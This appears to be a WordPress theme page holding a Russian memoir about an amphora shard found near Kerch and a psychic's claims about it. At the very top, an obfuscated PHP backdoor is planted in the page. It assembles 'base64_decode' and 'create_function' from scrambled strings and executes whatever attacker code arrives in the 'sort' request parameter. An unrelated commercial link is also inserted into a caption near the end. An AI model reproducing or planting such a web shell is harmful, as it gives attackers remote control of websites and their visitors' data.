nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

НАУКЕ ВСЁ ПОЛЕЗНО !


  Не  буду  усложнять  повествование  оправданиями, каким  образом  я  оказалась  в  гостях  у  самой  настоящей  экстрасенши. Как  сказано  апостолом  Павлом "всё  мне  позволительно,  но  не  всё  полезно". Надеюсь, что  нижесказанное  всё-таки  полезно.

   Начну  с  того, что  некий камушек, десять  лет  провалявшийся  в  Теребенях  на  кухонном  подоконнике, и  есть  "герой"  моего  повествования. Речь  пойдёт  о  том, что  он  является, пожалуй, самым   д р е в н и м   рукотворным  предметом  из  всех, какие  вообще  только  есть  на  Псковщине, включая  музеи  со  всем  их  содержимым. Только  палеонтологическая  стоянка, открытая  учёными  под  нашей  Теребенской  церковью  ещё  в  советские  времена  и  раскапываемая  студентами  Псковского  педагогического  института  также  в  те  приснопамятные  времена  могут, пожалуй, побить  рекорд  древности, но  даже  признанный  идолом  мегалит  на  Теребенском  кладбище – и  то  он  не  рукотворный, а  природный,  принесённый, вероятно, из  Карельских  мест  ледником.
    Привезённый  же  с  черноморского  побережья  с  виду  камешек,  о  котором  я  рассказываю, он   имеет  размер  всего  пять  на  шесть  сантиметров; он  с неровными  краями, словно  кусок  щебёнки; и  на  его  поверхности  с  обеих  сторон  чёрной  графикой  намертво  впечатались  сантиметрового  размера   морские  в о д о р о с л и  – очень  живописно !

   А  теперь об  истории  его  обнаружения  нашим  сыном.

   Это  было  летом  2005  года  в  археологической  экспедиции  от  Эрмитажа  под  Керчью,  где  многие  годы, даже  десятилетия, узкий, можно  сказать, элитный  круг  "эрмитажников"  раскапывает  Нимфей – древнегреческий  город (см. детали  в  Интернете, если  интересно). В  Нимфее, на  летнем  отдыхе,  выросло  несколько  поколений  детей  сотрудников. Моя  подружка  Людочка – Людмила  Ивановна  Давыдова, старший  научный  сотрудник  отдела  античности  Эрмитажа. Мало  того. именно  там, в  Нимфее, лучший  друг  моего  мужа  Вовка  и  нашёл  её, Люду, как  верную  спутницу  всей  своей  жизни. Мой  Георгий  Вовке  в 1975  нравоучительно  сказал: "Ищи  себе  жену, похожую  на  мою  Валентину!"  Вот  Вовка  там  и  нашёл  мне  замечательную  подругу.
    Так  вот, Людочка  устроила  нашего  Олежку  в  эту  эрмитажную  экспедицию, и  он совместил  летний  отдых  с, во-первых,  высокопрофессиональным  и  сплочённым  коллективом, а  во-вторых,  получил  навык  утомительной  и  мучительной (летняя жара) работы: сосредоточенного  и  ответственного  копания  в  земле.
    В  один  прекрасный  день   Олежка, имея  возможность  окунаться  в  Чёрное  море, как-то  нырнул  в  морскую  пучину  и, выныривая, нащупал  ногой  в  песчаном  дне  какой-то  предмет. Сын  нырнул  снова  и, пошарив  по  дну  руками, его  нашёл.
   Он  показал   его  учёным  экспедиции, которые   однозначно сказали, что   это  осколок  древнегреческой амфоры, и   таких осколков  амфор  здесь  повсюду – что  мусору. Олежка  нам  этот  раритетик  привёз  в  Теребени, и  все  эти  годы камушек так  и   лежал   на  подоконнике.

   Прошли годы, точнее, ровно десять лет. После  смерти  моего  мужа  кто-то   из  его  почитателей  отсеялся, но  кто-то, наоборот,  стал   ближе  в  отношениях  со  мной.
   При  жизни  о.Георгия  к  нам  на  литургию  часто  приезжало  одно  семейство  из  Беларуси. Я  их  почти  не  замечала, поскольку  они   со  своим  больным  сыном (эпилепсия+"тараканы" в  башке)  и  со  своей  целительницей, назирающей  его, меня, в  отличие  от  некоторых, не  утомляли  своим  гостеванием: приезжали  только   на   службу, потом  час-другой   разговора  с о.Георгием  в  церкви, а  потом  сразу  гостинчики  на  стол – и  до  свиданья.
  Они   настолько   были   потрясены, узнав о  смерти  о.Георгия, что  всё   равно  решили  не  откладывать  визита  и  действительно  сразу  приехали  посетить  могилку  о.Георгия. Тут-то  я  и   уяснила, на  что  раньше   не  обращала  внимания: их  попечительница   больного  сына –  была, оказывается, самой  настоящей, "лицензированной", т.е. профессиональной,  экстрасеншей,  хоть  с  виду  она, что  называется "серая мышка" (я  и  себя  такой считаю). Когда  по  их  приезде  мы  помолились над  песчаным  холмиком, покрывавшим  моего мужа (сейчас там серьёзный каменный монолит, типа романовских захоронений в Петропавловском соборе Петербурга), я  привычно  начала  энергично "трындить", но   мои   гости  остановили  меня  со  словами: "А   не   хотите  ли   послушать  нашу  Е.В. ?"  Я  примолкла  и  сразу  прибалдела  от  неожиданного  потока   информации, посыпавшейся  из  этой  скромной  гостьи, посыпалась  такая конкретика,  которой  она, несомненно,  не  могла  заранее  знать  и  подготовить, чтобы  удивить  меня.

     Прошло  больше  года  со  смерти  моего  мужа  и  их  приезда.
    . . . Поехав  недавно  по   их   приглашению  в  Белоруссию, я, покидая   дом, последним   взглядом  всё  осмотрела   и  вдруг, наткнувшись   взглядом   на   подоконник, схватила  Олежкин камушек, сунула  в  карман  и  решила, если  будет  к  слову, спрошу  у  Е.В.   о  его  происхождении.
     Так  и  получилось. Заканчивая   свой   визит   в   это  гостеприимное  семейство, я, надевая  плащ, сунула  руку  в  карман  – и  было  очень  кстати  задать  задуманный  мной   весьма  каверзный  вопрос.
   Я  показала  Е.В. камушек, спросив,  есть  ли,  на   е ё  чутьё,  в  нём  что-либо  необыкновенное ? Она  взяла  его  в  руку, и  тут  её  руку  так  и   потянуло  вниз, словно  в  ней  был  очень  тяжёлый   предмет.
  — О, да ! — Воскликнула она. – Это очень  особенный  камень ! Он  даже может быть талисманом, настолько эта  вещь  необыкновенная !
  И  тут  я, дурочка болтливая, вместо  того, чтобы  спросить  про  специфику  камня,  сама  тут  же  и  выдала   его  тайну:
  — Это, ой, ой, знаете ли, кусок  древнегреческой  амфоры !
  Я  осеклась, сообразив, что  именно  этим  я  и  хотела   Е.В. проэкзаменовать.
  Но  как  дальше  Е.В.  повела  себя  – это  меня  совсем  изумило, да  я  и  рада  была  своей скороспелой  болтливости.
  Е.В. на  секунду задумалась и  вдруг  категорически  заявила:
  — Как  это ? Почему  это   д р е в н е г р е ч е с к а я   амфора ? Это  не  греческая,  э т о . . . е г и п е т с к а я  амфора !
    Тут   я   пришла  в  полное  замешательство, а  Е.В.  продолжала:
  — Эта  амфора  принадлежала . . . фараону . . . вот  вижу  на  нём  та-а- ка-я (она  стала   рукой  витиевато   показывать  у   себя н а голове). . . такая  шапка, то   есть  головной  убор . . .  впрочем . . . почему  фараон ? Фараонша ! Женщина ! Ф а р а о н ш а – женщина ! Красавица  немыслимая  ! . . .
  Пошли  описания   красавицы   больше  жестикуляциями  и  восторженными  интонациями. Я поджала  губы. Ладно, подумала  я, при  первой  возможности  спрошу  у  Люды, причём  здесь  Египет ? Откуда  там, в Нимфее, вдруг  взялась  фараонша ? Однако  я  сообразила   у   Е.В.  вот  ещё  что спросить:
  — А   ч т о  именно  содержалось  в  этой  амфоре: вино ?  Какое ?
   Е.В.  мгновенно отреагировала:
  —  Вода ! Чистейшая  родниковая  вода ! Я    в  и  ж  у   этот  источник !

  Естественно, я  рассказала  всё  это  Людмиле.  И  она  тоже  прибалдела   и  с  полной профессиональной  ответственностью   тут  же   мне  разъяснила  загадку  этого  кусочка   древней   е г и п е т с к о й   амфоры:
  —  Действительно,   на  раскопках  несколько  лет  назад  и  до  сих  пор   это  является  сенсацией,  а  именно  то,  что  в  Нимфее  было  найдено  подробнейшее  изображение   древнеегипетского   к о р а б л я  –  триера  или  октера (идёт спор  учёных  об  этом) !  Под названием "Изида" !  Вторая  четверть  третьего  века  до  Р.Х. ! И  его, изображение, можно  было  сделать  только  с  натуры – настолько  в  нём  всё  детализированно. Само  это  взаимообщение  двух  древнейших  культур  именно  в  этом  месте  было  научной  сенсацией.
  А  как  же  тогда  назвать  э т о   откровение  Е.В.,обожательницы  о.Г.,  сделанное  ею  походя,  при  надевании  мною  плаща  и  сапог  и  описанное  здесь  мною  "кистью  Айвазовского" ? Искушение, православные !


http://buildmate.com.sg/product/partition-channel/ моя  эрмитажная  подружка (Л.И.Давыдова) рядом  со  своим  изображением, вылепленным  скульптором  М.М.Харламовой в  1973-74 году (в 1977 переведённым  в  мрамор) и  выставленным  на  авторской  выставке  Харламовой  в  Русском  музее

Добавить комментарий